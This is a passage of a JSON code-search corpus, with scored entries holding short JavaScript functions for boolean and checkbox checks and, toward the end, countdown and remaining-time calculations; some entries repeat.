"0.6098871", "text": "function isboolean(val) {\n return val === true || val === false\n }", "title": "" }, { "docid": "879bbfed3e79e1edd9fbadbb937855b3", "score": "0.6098505", "text": "function theTruth() {\n return true\n}", "title": "" }, { "docid": "c9d925131fc651f0fefbbe8453c95870", "score": "0.60945165", "text": "function isTrue (val) {\n // 0 ? empty string? (check)\n return !(\n val === undefined || val === false || val === null ||\n (Array.isArray(val) && val.length === 0)\n )\n}", "title": "" }, { "docid": "277da4bb231a0e55593b6862430a4d72", "score": "0.6072906", "text": "function imply( val ) {\n\t return (val === true ? 1 : val ? val : 0);\n\t }", "title": "" }, { "docid": "1078019b120406b119b56f8e7dba4eca", "score": "0.6054906", "text": "hasValueChanged() {\n\t\treturn (this.state.value === this.state.originalValue) ? false : true;\n\t}", "title": "" }, { "docid": "173149d9dfe8dfead6de86e121403010", "score": "0.60525006", "text": "function imply( val ) {\n return (val === true ? 1 : val ? val : 0);\n }", "title": "" }, { "docid": "173149d9dfe8dfead6de86e121403010", "score": "0.60525006", "text": "function imply( val ) {\n return (val === true ? 1 : val ? val : 0);\n }", "title": "" }, { "docid": "173149d9dfe8dfead6de86e121403010", "score": "0.60525006", "text": "function imply( val ) {\n return (val === true ? 1 : val ? val : 0);\n }", "title": "" }, { "docid": "b2985f44484839a8bbe0a88bea520ca5", "score": "0.60504425", "text": "function isTrue(boolean) {\n\n}", "title": "" }, { "docid": "0b7c83800b7f9b8e25bced86c44cbd49", "score": "0.60482323", "text": "function _allChecked(){\n /*Tamanho de todos os checkeboxes visiveis na tela*/\n var sizeAll = $(\" .checkbox-lanc .checkboxsquare:not(.checkbox-controler):visible \").length,\n /*Tamanho de todos os checkeboxes visiveis na tela que estao checados*/\n sizeChecked = getChecked().length;\n /*Senao existe nenhum item na tela, retorna false*/\n return sizeAll > 0 ? sizeAll == sizeChecked : undefined;\n }", "title": "" }, { "docid": "e77999a169c645064c85306883a12214", "score": "0.6046982", "text": "function $isset(value) { return value !== undefined; }", "title": "" }, { "docid": "1f745ba09af28e9b4d9f8d36ac0b81c1", "score": "0.6045545", "text": "function checkInputValues(ufo) {\n\n // match the filtered elements if all true then show\n var matched = true;\n\n // Check each of the elements one at a time\n if ((matched === true) && !isValuePresent(\"#datetime\", ufo.datetime)) {\n matched = false;\n }\n\n if ((matched === true) && \n !isAll(\"#city\") && \n !isValuePresent(\"#city\", ufo.city)) {\n matched = false;\n }\n\n if ((matched === true) && \n !isAll(\"#state\") && \n !isValuePresent(\"#state\", ufo.state)) {\n matched = false;\n }\n\n if ((matched === true) && \n !isAll(\"#shape\") && \n !isValuePresent(\"#shape\", ufo.shape)) {\n matched = false;\n }\n\n if ((matched === true) && !isValuePresent(\"#duration\", ufo.durationMinutes)) {\n matched = false;\n }\n\n // pass back state to filter \n return matched;\n\n}", "title": "" }, { "docid": "d9ccb36a87c7748b00e9899628cc7591", "score": "0.60423696", "text": "isTrue (val) { return ir.createICmpEq(val, consts.ejsval_true(this.options.target_pointer_size === 32), 'cmpresult'); }", "title": "" }, { "docid": "06d3637e634ba75d04967102bdcdb77a", "score": "0.6024187", "text": "function IsBooleanLike(val) {\n return 1 == val || '0' == val;\n}", "title": "" }, { "docid": "cbbb80a6debc45b35edf2564e94eabeb", "score": "0.60111517", "text": "allValuesSelected(){\n return this.shadowRoot.getElementById('roundOne').value != \"\" && this.shadowRoot.getElementById('roundTwo').value != \"\" && this.shadowRoot.getElementById('roundThree').value != \"\" && this.shadowRoot.getElementById('roundFour').value != \"\" && this.shadowRoot.getElementById('roundFive').value != \"\" && this.shadowRoot.getElementById('roundSix').value != \"\" && this.shadowRoot.getElementById('dropDown').value != \"\"\n }", "title": "" }, { "docid": "20559c8fd734281d5a681ce73b7c011f", "score": "0.60016584", "text": "function isOneChecked() {\n\n let chec = document.getElementsByTagName('input');\n for (var i = 0; i < chec.length; i++) {\n if (chec[i].type == 'radio' && chec[i].checked) {\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "a0124e1347a03696ea0f90b662f82d7e", "score": "0.59997857", "text": "function workshopValidation(){\n if ($(\".activities input\").is(':checked') !== false) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "e5aa2af165fe3938aa4e1634ec682155", "score": "0.59959924", "text": "function verifyLocation() {\n\n let isSoIn = document.getElementById(\"southernIndiana\").checked; \n let isLouisville = document.getElementById(\"louisville\").checked;\n let isRRG = document.getElementById(\"redRiverGorge\").checked;\n\n if (isSoIn || isLouisville || isRRG) {\n\n return true;\n\n } else {\n\n return false;\n }\n}", "title": "" }, { "docid": "5dc34f0b997caa00f4a852fe0e96104b", "score": "0.5989572", "text": "isFilled() {\n return this.value !== null;\n }", "title": "" }, { "docid": "2b246e00b0bb70e5a5f3b9b007210ceb", "score": "0.5937758", "text": "function filterOutNotChecked(el) {\n return el !== undefined && el !== null && el.checked === true;\n }", "title": "" }, { "docid": "2fb09d636646e6b4ac3bc74ef1ada7c8", "score": "0.59223586", "text": "asBoolean(value, defaultValue) {\n if (typeof value == \"function\") {\n value = value();\n }\n if (value != null) {\n return value != false;\n }\n return defaultValue || null;\n }", "title": "" }, { "docid": "2fb09d636646e6b4ac3bc74ef1ada7c8", "score": "0.59223586", "text": "asBoolean(value, defaultValue) {\n if (typeof value == \"function\") {\n value = value();\n }\n if (value != null) {\n return value != false;\n }\n return defaultValue || null;\n }", "title": "" }, { "docid": "8e175160ebcdbb4ccc8ed9a8813af4f7", "score": "0.5918863", "text": "get isAccepted() {\n return !this.isActiveAgreement || this.agreementCheckbox[0].checked\n }", "title": "" }, { "docid": "fd6d1eacc7ac457cf7d224041e95a93c", "score": "0.5914686", "text": "function checkBoo(bool) {\n // In JavaScript there are 5 primitive types: undefined, null, boolean, string and number. \n // Everything else is an object.\n\n //if the input is true or false it is a boolean\n //everything else is not a boolean primitive\n //thus return:\n var returnVal = (bool === true || bool === false);\n console.log(returnVal);\n return returnVal;\n}", "title": "" }, { "docid": "3382ac9b0b2772ee65b46b760543a2a1", "score": "0.5906833", "text": "function isSet(val) {\n return 'function' !== typeof val\n}", "title": "" }, { "docid": "3382ac9b0b2772ee65b46b760543a2a1", "score": "0.5906833", "text": "function isSet(val) {\n return 'function' !== typeof val\n}", "title": "" }, { "docid": "bdf9b83c54449c56ffcd61e423d162de", "score": "0.59026444", "text": "function parsebool(val) {\n\n if (val instanceof Error) {\n return val;\n } else if (typeof val === 'boolean') {\n return val;\n } else if (typeof val === 'number') {\n return val !== 0;\n } else if (typeof val === 'string') {\n var up = val.toUpperCase();\n if (up === 'TRUE' || up === 'FALSE') {\n return up === 'TRUE';\n }\n }\n\n return error$2.value;\n }", "title": "" }, { "docid": "7424e75917caa7d53ac343abb69a8c6b", "score": "0.5902068", "text": "makeValid (value) {\n\t\treturn !!value;\n\t}", "title": "" }, { "docid": "70905c2c2d9c016f536eb9d37c71aa58", "score": "0.59011376", "text": "function bool (thing) {\n return thing === false || thing === true;\n }", "title": "" }, { "docid": "43211315e5fc1d5b046c839dd4169260", "score": "0.590045", "text": "function isCheckBoxChecked() {\r\n\tvar selected = false;\r\n\tvar ischeck1 = document.getElementById(\"cb1\").checked;\r\n var ischeck2 = document.getElementById(\"cb2\").checked;\r\n var ischeck3 = document.getElementById(\"cb3\").checked;\r\n \r\n if (ischeck1 || ischeck2 || ischeck3) {//if anyone is checked, it is ok!\r\n selected = true;\r\n }\r\n else {\r\n\t\tselected = false; //if not checked, feedback is given to answer Q3\r\n\t\tgErrorMsg = gErrorMsg + \"Please Answer Question 3\\n\"; \r\n }\r\n return selected;\r\n}", "title": "" }, { "docid": "ad7fe250bf42f3f60d531b1709ca8ddb", "score": "0.58991987", "text": "function and() {\n var criteria = [], len = arguments.length;\n while ( len-- ) criteria[ len ] = arguments[ len ];\n\n\n // Reduce criteria into boolean value.\n return reduce(\n criteria,\n function (acc, item) {\n\n // Once an error, always an error.\n if (iserror(acc)) { return acc; }\n\n // Once `false` or #error! is found always return previously value.\n if (acc === 0 || acc === false) { return false; }\n\n // find the value if a literal or deferred value.\n var val = isfunction(item) ? item() : item;\n\n // return `#VALUE!` if not true, false, 1 or 0.\n if (!(val === true || val === false || val === 1 || val === 0)) {\n return error$2.value;\n }\n\n // Return true when value is true or 1.\n return val === true || val === 1;\n }, undefined);\n }", "title": "" }, { "docid": "530a6fd2416e158a862c1adcaf756346", "score": "0.58944863", "text": "function non_zero(value) {\n var status;\n if (value == 0 || false) {\n status = false;\n } else {\n status = true;\n }\n return status;\n}", "title": "" }, { "docid": "49626f39361f03d65902f023a4b5d3df", "score": "0.5892784", "text": "function test(arg) {\n return Boolean(arg) !== false;\n }", "title": "" }, { "docid": "d1971129d131fd61c710c81d198b5f24", "score": "0.588675", "text": "function trueOrFalse(val) {\n if (val) {\n return 'true';\n } else {\n return 'false';\n }\n}", "title": "" }, { "docid": "b908e54b84839e21d3235e541a1b8f5e", "score": "0.5885599", "text": "function foodValue() {\n\t\t var food = document.getElementById(\"food\"); //GET THE VALUE OF FOOD CHECKBOX\n\t\t if (food.checked == true){ //IF FOOD CHECKBOX IS CHECKED\n\t\t console.log('Food Checked'); //OUTPUT THIS\n\t\t return food.value = true; //SET THE FOOD VALUE TO TRUE\n\t\t } else { //IF FOOD CHECKBOX IS NOT CHECKED\n\t\t console.log('Food Not'); //OUTPUT THIS\n\t\t return food.value = false; //SET THE FOOD VALUE TO FALSE\n\t\t }\n\t\t }", "title": "" }, { "docid": "0354ff8e8074363a38a9cd3a21d85d5e", "score": "0.5884824", "text": "get checked() {\n if (this._checked === null) {\n this._checked = this.defaultChecked;\n }\n return this._checked;\n }", "title": "" }, { "docid": "0c9fe6c8b49ba2d37af0c7e30065db28", "score": "0.5881785", "text": "get hasValue() {\n\t\tif (this.isDestroyed) {\n\t\t\tthrow Error('this.hasValue is no longer valid. Property has been destroyed.');\n\t\t}\n\t\tconsole.log(this.parsedValue);\n\t\treturn !_.isNil(this.parsedValue);\n\t}", "title": "" }, { "docid": "9fa4947ccf38c41d136e1c8ecc6805eb", "score": "0.5879721", "text": "function isTrue(val){\n if (val === \"takoyaki\"){\n return true;\n }\n}", "title": "" }, { "docid": "35323fffc82f6d820f398e043433183b", "score": "0.58760196", "text": "function hasValue(value) {\n return value !== undefined;\n}", "title": "" }, { "docid": "73dc1c06e78c27f9750f0f2a6c6151fc", "score": "0.58696735", "text": "function truthCheck(collection, pre) {\n //Loop through the collection of objects:\n for(i=0; i < collection.length; i++) {\n //if the collection value is falsey:\n if(!collection[i][pre]) {\n console.log(\"false\");\n return false;\n }\n }\n //if none of the collection values return false\n //then return true:\n console.log(\"true\");\n return true;\n}", "title": "" }, { "docid": "5fbce7006c17a00f9fd656d7fdb7e265", "score": "0.586614", "text": "function seeWhichChecked(){\n if (checkFace.checked || checkInsta.checked || checkSnap.checked || checkTwit.checked){\n userChoseSocial = true;\n }\n else if (checkSocial.checked){\n userNoSocial = true;\n }\n}", "title": "" }, { "docid": "3f5bd3a507315e93cb9d85ff8cf6c348", "score": "0.58634865", "text": "changed() {\n var fieldsCheck = this.fields.some(\n key => this.values[key]() !== app.data.settings[this.addPrefix(key)]);\n var checkboxesCheck = this.checkboxes.some(\n key => this.values[key]() !== (app.data.settings[this.addPrefix(key)] == '1'));\n return fieldsCheck || checkboxesCheck\n }", "title": "" }, { "docid": "54574f891bbf5240c3dc477ba760383a", "score": "0.5860829", "text": "getValue() {\n return this._input.checked;\n }", "title": "" }, { "docid": "4a44451ca09aeac9b8d2254eee9e72da", "score": "0.585989", "text": "Check(value) {\r\n return this.checkFunc(value);\r\n }", "title": "" }, { "docid": "478db6da3f2fedb458dd68f91dae23e4", "score": "0.58562845", "text": "get shouldCheck() {\n return coreutils_1.PageConfig.getOption('buildCheck').toLowerCase() === 'true';\n }", "title": "" }, { "docid": "9462d449687007c02ca91841c826f0aa", "score": "0.58532053", "text": "function checkRateValue(value, checkBoxName) {\n if ($(checkBoxName).prop('checked') == true && (value >= 0 && value <= 5)) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "15293304f276699a6d20c1d61d323e44", "score": "0.58531475", "text": "function truthCheck(collection, pre) {\n return collection.every((elem) => !!elem[pre]); //!! is not necessary I used to make it clear Bolean. could use Boolean(value) too;\n}", "title": "" }, { "docid": "abc32b870988477713035959d22f837d", "score": "0.5845498", "text": "isValid() {\n return !this.isEmpty() && this.isFinite();\n }", "title": "" }, { "docid": "e3c50a17fed82060f9c1185ca5e71365", "score": "0.58446133", "text": "isAllUncheckable() {\n const validVisibleData = this.visibleData.filter(row => this.isRowCheckable(row));\n return validVisibleData.length === 0;\n }", "title": "" }, { "docid": "2bdc84e6110b5bf63897bc4e21a294b3", "score": "0.58395714", "text": "function checkBoolean(elem) {\r\n return elem === true;\r\n}", "title": "" } ]
6c9b50f072fc24e35fb598f0c2c6315b
Time remaining to edit (needs to be in GMT)
[ { "docid": "d52dbdc22822860689f5a4d9ba93ede4", "score": "0.0", "text": "function getTimeDifference(endDate) {\n var remainingDate = endDate - new Date(currentDate);\n\n return {\n 'days': Math.floor( remainingDate/(1000*60*60*24) ),\n 'hours': Math.floor( (remainingDate/(1000*60*60)) % 24 ),\n 'minutes': Math.floor( (remainingDate/1000/60) % 60 )\n };\n }", "title": "" } ]
[ { "docid": "8523015c628a97209d9f1c4291a5d3c0", "score": "0.68058205", "text": "function updateTimeRemaining(){\n\n\t\t\t// Get the current time.\n\t\t\tvar currentTime = new Date();\n\n\t\t\t// Get the different in time since the start.\n\t\t\tvar timeDifference = (currentTime - startTime);\n\n\t\t\t// Check to see if the game has exceeded the time.\n\t\t\tif (timeDifference >= gameDuration){\n\n\t\t\t\t// End the current game play.\n\t\t\t\tendGame();\n\n\t\t\t} else {\n\n\t\t\t\t// Get the time remaining (in seconds).\n\t\t\t\tvar timeRemaining = Math.floor( (gameDuration - timeDifference) / 1000 );\n\n\t\t\t\t// Get the minutes and seconds left.\n\t\t\t\tvar minutes = Math.floor( timeRemaining / 60 );\n\t\t\t\tvar seconds = (timeRemaining % 60);\n\n\t\t\t\t// Update the actual display.\n\t\t\t\tdom.remaining.text( \n\t\t\t\t\tminutes + \n\t\t\t\t\t\":\" + \n\t\t\t\t\t((seconds > 9) ? seconds : \"0\" + seconds)\n\t\t\t\t);\n\n\t\t\t}\n\n\t\t}", "title": "" }, { "docid": "b69a42bffde59699383afea2dadf11b2", "score": "0.68055856", "text": "_updateRemainingTime() {\n if (this._remainingTime > 0) {\n this._remainingTime--;\n }\n }", "title": "" }, { "docid": "b69a42bffde59699383afea2dadf11b2", "score": "0.68055856", "text": "_updateRemainingTime() {\n if (this._remainingTime > 0) {\n this._remainingTime--;\n }\n }", "title": "" }, { "docid": "a1ab2ab63384d439e7d4e58a13a41d5a", "score": "0.6774954", "text": "get remainingTime() {\n return Math.max(this.time - Date.now(), 0);\n }", "title": "" }, { "docid": "0657cf6f557a1f4c58be91d869f9ba3c", "score": "0.675876", "text": "function updateTime(){\n\t\t\t\thours = (currentDate.getHours() % 12) * 5;\n\t\t\t\tminutes = currentDate.getMinutes();\n\t\t\t\tseconds = currentDate.getSeconds();\n\t\t\t}", "title": "" }, { "docid": "cbe87bbc991444e7f7151a7486f16a36", "score": "0.6573834", "text": "calculateTime() {\n if (this.state.showTimeRemaining) {\n const time = this.state.duration - this.state.currentTime;\n return `-${this.formatTime(time)}`;\n }\n\n return this.formatTime(this.state.currentTime);\n }", "title": "" }, { "docid": "3c1cd686f07c299adb443490bb601689", "score": "0.65262437", "text": "function updateTimeRemaining(newTime){\n $(\"#timeLeft\").text(newTime);\n}", "title": "" }, { "docid": "27b4679b271e98a510c5388df47c12db", "score": "0.6525884", "text": "function update_time(){\n\tget_time_left().then((time)=>{\n\t\tset_time(time);\n\t});\n}", "title": "" }, { "docid": "eab967479b9a2dbdfa8a4719ed02d432", "score": "0.6503779", "text": "function _refresh_job_ecapsed_time() {\n\t\t\ttry {\n\t\t\t\tvar total_seconds = _get_start_job_escpsed_time();\n\t\t\t\tvar hh = 0;\n\t\t\t\tvar mm = 0;\n\t\t\t\tvar ss = 0;\n\t\t\t\tif (total_seconds > 0) {\n\t\t\t\t\tif ((total_seconds > 0) && (total_seconds < 60)) {\n\t\t\t\t\t\tss = total_seconds;\n\t\t\t\t\t}\n\t\t\t\t\tif ((total_seconds >= 60) && (total_seconds < 3600)) {\n\t\t\t\t\t\tmm = parseInt(total_seconds / 60, 10);\n\t\t\t\t\t\tss = total_seconds - (mm * 60);\n\t\t\t\t\t}\n\t\t\t\t\tif ((total_seconds >= 3600)) {\n\t\t\t\t\t\thh = parseInt(total_seconds / 3600, 10);\n\t\t\t\t\t\tmm = parseInt((total_seconds - hh * 3600) / 60, 10);\n\t\t\t\t\t\tss = total_seconds - (hh * 60 * 60) - (mm * 60);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tself.time_label.text = 'Elapsed ' + ((hh < 10) ? '0' + hh : hh) + ':' + ((mm < 10) ? '0' + mm : mm) + ':' + ((ss < 10) ? '0' + ss : ss);\n\t\t\t} catch (err) {\n\t\t\t\tself.process_simple_error_message(err, window_source + ' - _refresh_job_ecapsed_time');\n\t\t\t\treturn;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "19c90222a49e1c9b96db2d0f32d8de9b", "score": "0.64527625", "text": "function update_current_time(){\n\t\t\tthe_date = new Date();\n\t\t\t$(\".current_time\").css(\"left\", (2 * the_date.getMinutes()) + (120 * the_date.getHours()));\n\t\t}", "title": "" }, { "docid": "79390a0daac1de429603473de787d8af", "score": "0.6417309", "text": "function editEnterTime() {\n\t\t\treturn this.editEnter('time');\n\t\t}", "title": "" }, { "docid": "69c924e2f0aec11ce054665ba9aa00b2", "score": "0.6415257", "text": "function updateTime() { \n element.text(dateFilter(dateOffset(new Date(), offset), format)); \n }", "title": "" }, { "docid": "6bf2cdcec3bcefe212029eb91ecc842f", "score": "0.6368324", "text": "get time() {return this._timeRemaining;}", "title": "" }, { "docid": "827bbaba9c06c094a2347f9bd548cbf6", "score": "0.6356908", "text": "function updateTime() {\n let moscowTime = new Date().toLocaleString(\"en-US\", {timeZone: 'Europe/Moscow'});\n let now = new Date(moscowTime);\n let startVacation = new Date(2021, 11, 24, 0, 0);\n let finishVacation = new Date(2026, 11, 24, 0, 0);\n let progress = (now - startVacation) / (finishVacation - startVacation) * 100;\n let progressFloor = Math.floor(progress * 100) / 100;\n \n renderProgress(progressFloor);\n renderTime(now, finishVacation);\n}", "title": "" }, { "docid": "6473235884e2d2b34e974e6c68d5e369", "score": "0.63284045", "text": "function getRemainingTime(){\n\n\tvar hour = document.getElementById(\"bedtimeHour\");\n\tvar min = document.getElementById(\"bedtimeMin\");\n var durationList = document.getElementsByName(\"duration\");\n\n\ttimeNeeded=0;\n\n\tfor (i=0; i<durationList.length; i++){\n\t\ttimeNeeded+=parseInt(durationList[i].innerText);\n\t}\n\n\tnow=new Date();\n\tbedTime=new Date(now.getFullYear(), now.getMonth(), now.getDate(), hour.defaultValue, min.defaultValue, 0);\n\tvar diff = bedTime-now;\n\n\t//Dividing the result by 1000 gives you the number of seconds. Dividing that by 60 gives you the number of minutes. To round to whole minutes, use Math.floor or Math.ceil:\n\treturn Math.floor((diff/1000)) - timeNeeded*60;\n}", "title": "" }, { "docid": "de22142458ac8737c04696e7cd7a2266", "score": "0.6328172", "text": "function updateTime() {\n\n}", "title": "" }, { "docid": "de22142458ac8737c04696e7cd7a2266", "score": "0.6328172", "text": "function updateTime() {\n\n}", "title": "" }, { "docid": "93500bf84c0f14c9e781a8ff8581da4b", "score": "0.62973624", "text": "function updateTime() { currentDate = new Date();}", "title": "" }, { "docid": "f8d2105d54c17f44d1425f404c1bc41d", "score": "0.6287809", "text": "function updateTime() {\r\n let minutes = weatherModel.newDate.getMinutes();\r\n if (minutes < 10) {\r\n minutes = \"0\" + minutes;\r\n } else {\r\n minutes = \"\" + minutes;\r\n }\r\n weatherModel.time.innerText =\r\n weatherModel.newDate.getHours() + \":\" + minutes;\r\n }", "title": "" }, { "docid": "4a93f017b16b8bf7a8bed159ce4c1d37", "score": "0.62569034", "text": "function updateRemainingTimeText() {\n var now = $.now();\n\n //subtracting now from start time\n var differenceInMS = Math.abs(startTime - now);\n \n //check if event is passed\n if (startTime > now) {\n $(targetDiv).html(\"This event is passed!\");\n return; \n }\n //calculating difference in days, hours, and minutes\n var x = differenceInMS / 1000;\n var seconds = x % 60;\n x /= 60;\n var minutes = Math.floor(x % 60);\n x /= 60;\n var hours = Math.floor(x % 24);\n x /= 24;\n var days = Math.floor(x);\n //console.log(\"days:\" + days + \"hours:\" + hours + \"minutes:\" + minutes);\n\n //translating difference time to text\n var onlyParameter = \"\",\n daysParameters = \"\",\n daysAndParameter = \"\",\n hoursParameters = \"\",\n hoursAndParameter = \"\",\n minutesParameter = \"\";\n\n // write only if it's only minutes remaining\n if (days == 0 && hours == 0) { onlyParameters = \"only \" };\n //determining day parameters, daysAndParameter\n if (hours != 0 || minutes != 0) {\n daysAndParameter = \"and \";\n }\n if (days == 1) {\n daysParameters = \"One day \" + daysAndParameter;\n } else if (days > 1) {\n daysParameters = days + \" days \" + daysAndParameter;\n }\n\n //determining hoursAndParameter\n if (minutes != 0) {\n hoursAndParameter = \"and \";\n }\n //determining hoursParameters\n if (hours == 1) {\n hoursParameters = \"One hour \" + hoursAndParameter;\n } else if (hours > 1) {\n hoursParameters = hours + \" hours \" + hoursAndParameter;\n }\n\n\n //determining minutsParameters\n //console.log(\"***********\" + minutes);\n if (minutes == 1) {\n minutesParameter = \"One minute\";\n } else if (minutes > 1) {\n minutesParameter = minutes + \" minutes\";\n }\n remainedTimeMessage = onlyParameter + daysParameters + hoursParameters + minutesParameter + \" later\";\n $(targetDiv).html(remainedTimeMessage);\n }", "title": "" }, { "docid": "1498c7cbf08bd619de7a5f16bfe1b0aa", "score": "0.6238807", "text": "function updateTime() {\n time = time + 1000;\n current = new Date(time);\n element.find(\".show-timer\").text(dateFilter(new Date(current.getUTCFullYear(), current.getUTCMonth(), current.getUTCDate(), current.getUTCHours(), current.getUTCMinutes(), current.getUTCSeconds()), \"HH:mm:ss\"));\n }", "title": "" }, { "docid": "b988ec308fa0188f74e86d367e1e229b", "score": "0.6219786", "text": "function driveTime() {\n\n let time = getState(driveTimeDp).val;\n\n let stunden = Math.floor(time / 60);\n\n let minuten = Math.floor(time % 60);\n\n minuten = (minuten > 9) ? minuten : \"0\" + minuten; // Führende \"0\"\n\n let newTime = stunden + \"h \" + minuten + \"min\";\n\n setState(preafix + '.' + drive_time, newTime, true);\n\n if (debug) console.log('Fahrzeit: ' + newTime);\n\n}", "title": "" }, { "docid": "dc81949fe6529aaea51b3a294e344527", "score": "0.6201922", "text": "calculateTime(timeLeft) {\n return this.totalTime - timeLeft\n }", "title": "" }, { "docid": "d0fcc6fecb739efb3698057260656009", "score": "0.61920476", "text": "getReleaseCompleteTime() {\n if (typeof this.releasedAt !== 'number') {\n throw new Error(\"Release has not been called.\");\n }\n return this.releasedAt + this.settings.releaseTime;\n }", "title": "" }, { "docid": "e3d5072f3f7498f67bc887858c619d3e", "score": "0.61819524", "text": "function updateTime() {\n element.text(dateFilter(new Date(), format));\n }", "title": "" }, { "docid": "d3bd40f678c66d5ca93e04904fa1e6d2", "score": "0.6162163", "text": "function updateTime() {\n currentTime = moment().format('L');\n dateOne = moment().add(1, 'days').format('L');\n dateTwo = moment().add(2, 'days').format('L');\n dateThree = moment().add(3, 'days').format('L');\n dateFour = moment().add(4, 'days').format('L');\n dateFive = moment().add(5, 'days').format('L');\n\n }", "title": "" }, { "docid": "f989d076fddbf6f8245bcea1b34eec63", "score": "0.61541444", "text": "function updateTime() {\n\t\t timeNow();\n\t\t createTime();\n\t\t }", "title": "" }, { "docid": "ea1f76b14ee0814231b1b56ee3e6bef7", "score": "0.61528337", "text": "function maintainTime(event) {\n var availabilityDate = $(this);\n var newInput = availabilityDate.val();\n \n var time = getRemainder(previousAvailabilityDateTime);\n if (time === \"\" || previousAvailabilityDateTime === time)\n time = availabilityDateTimeTimeFormat;\n\n if (isDate(newInput))\n newInput = newInput + \" \" + time;\n\n availabilityDate.val(newInput);\n previousAvailabilityDateTime = newInput;\n }", "title": "" }, { "docid": "2876f81c11ceb27c0b00b6bbb18000d4", "score": "0.6133542", "text": "function updateTime() {\n\t\t\t\n\t\t\t/********** Date objects creation and comparison between two dates **********/\n\t\t\tnow = new Date();\n\t\t\tnowMiliseconds = Date.UTC(now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds());\n\t\t\tdifferenceMiliseconds = targetDateMiliseconds - nowMiliseconds;\n\t\t\tdifferenceSeconds = differenceMiliseconds / 1000;\n\t\t\t\n\t\t\t/********** Check if target date has reached **********/\n\t\t\tif(differenceMiliseconds < 0) {\t\t\t\t\n\t\t\t\t$(\"#\"+thisID).html(\"<span id='timeReached'>\"+settings['timeReachedMessage']+\"</span>\");\n\t\t\t\twindow.clearInterval(countdownTimer);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\t/********** Time Calculation **********/\n\t\t\tdays = Math.floor(differenceSeconds / 86400);\n\t\t\tdifferenceSeconds -= (days * 86400);\n\t\t\thours = Math.floor(differenceSeconds / 3600);\t\t\t\n\t\t\tdifferenceSeconds -= (hours * 3600);\n\t\t\tminutes = Math.floor(differenceSeconds / 60);\n\t\t\tdifferenceSeconds -= (minutes * 60);\n\t\t\tseconds = (differenceSeconds % 60);\n\t\t\t\n\t\t\t/********** SECONDS **********/\n\t\t\tif(parseInt(seconds) < 10) {\n\t\t\t\tseconds = \"0\"+seconds;\t\n\t\t\t}\n\t\t\t\n\t\t\tseconds = seconds.toString();\n\t\t\t\n\t\t\tvar s1 = seconds.substr(0,1);\n\t\t\tdrawNumber(\"s1\", s1, \"seconds\");\n\t\t\t\t\t\t\n\t\t\tvar s2 = seconds.substr(1,1);\n\t\t\tdrawNumber(\"s2\", s2, \"seconds\");\n\t\t\t\n\t\t\t/********** Decrease minutes when seconds reach 59 **********/\n\t\t\tif(s1 == \"5\" && s2 == \"9\") {\n\t\t\t\t/********** MINUTES **********/\n\t\t\t\tif(parseInt(minutes) < 10) {\n\t\t\t\t\tminutes = \"0\"+minutes;\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tminutes = minutes.toString();\n\t\t\t\t\n\t\t\t\tvar m1 = minutes.substr(0,1);\n\t\t\t\tdrawNumber(\"m1\", m1, \"minutes\");\n\t\t\t\t\t\t\t\n\t\t\t\tvar m2 = minutes.substr(1,1);\n\t\t\t\tdrawNumber(\"m2\", m2, \"minutes\");\n\t\t\t\t\n\t\t\t\t/********** Decrease hours when minutes reach 59 **********/\n\t\t\t\tif(m1 == \"5\" && m2 == \"9\") {\n\t\t\t\t\t/********** HOURS **********/\n\t\t\t\t\tif(parseInt(hours) < 10) {\n\t\t\t\t\t\thours = \"0\"+hours;\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\thours = hours.toString();\n\t\t\t\t\t\n\t\t\t\t\tvar h1 = hours.substr(0,1);\n\t\t\t\t\tdrawNumber(\"h1\", h1, \"hours\");\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tvar h2 = hours.substr(1,1);\n\t\t\t\t\tdrawNumber(\"h2\", h2, \"hours\");\n\t\t\t\t\t\n\t\t\t\t\t/********** Decrease days when hours reach 23 **********/\n\t\t\t\t\tif(h1 == \"2\" && h2 == \"3\") {\n\t\t\t\t\t\t/********** DAYS **********/\n\t\t\t\t\t\tif(parseInt(days) < 100 && parseInt(days) > 10) {\n\t\t\t\t\t\t\tdays = \"0\"+days;\t\n\t\t\t\t\t\t} else if(parseInt(days) < 10) {\n\t\t\t\t\t\t\tdays = \"00\"+days;\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tdays = days.toString();\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar d1 = days.substr(0,1);\n\t\t\t\t\t\tdrawNumber(\"d1\", d1, \"days\");\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tvar d2 = days.substr(1,1);\n\t\t\t\t\t\tdrawNumber(\"d2\", d2, \"days\");\n\t\t\n\t\t\t\t\t\tvar d3 = days.substr(2,1);\n\t\t\t\t\t\tdrawNumber(\"d3\", d3, \"days\");\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\t\t\t\n\t\t}", "title": "" }, { "docid": "4d28ec5a32acebbf0d0f4487e6f3f6d6", "score": "0.6124852", "text": "update ( elapsedTime ) {\n\n let dt = this.startDate.getTime() + (elapsedTime * this.timeShift);\n this.currentDate = new Date(dt);\n this.render();\n\n }", "title": "" }, { "docid": "80ad5df97d384bac2a23c0b824b101ce", "score": "0.6112024", "text": "function getTimeRemaining(endtime) { // etoi funkciei opredelyaem raznicu mezhdu deadline i nashim tekushim vremenem // \r\n const t = Date.parse(endtime) - Date.parse(new Date()), //New Date() позволяет вам получить текущую дату. А parse позволяет засунуть во внутрь метода дату в виде строки (например \"Dec 25, 1995\") и при этом мы получим количество миллисекунд (таймстамп)// \r\n days = Math.floor(t / (1000 * 60 * 60 * 24)),\r\n hours = Math.floor((t / (1000 * 60 * 60) % 24)),\r\n minutes = Math.floor((t / 1000 / 60) % 60),\r\n seconds = Math.floor((t / 1000) % 60);\r\n\r\n return {\r\n 'total': t,\r\n 'days': days,\r\n 'hours': hours,\r\n 'minutes': minutes,\r\n 'seconds': seconds\r\n };\r\n\r\n }", "title": "" }, { "docid": "8cbd4c48fd21bec04c5c8b4d70fbab0c", "score": "0.6091137", "text": "get 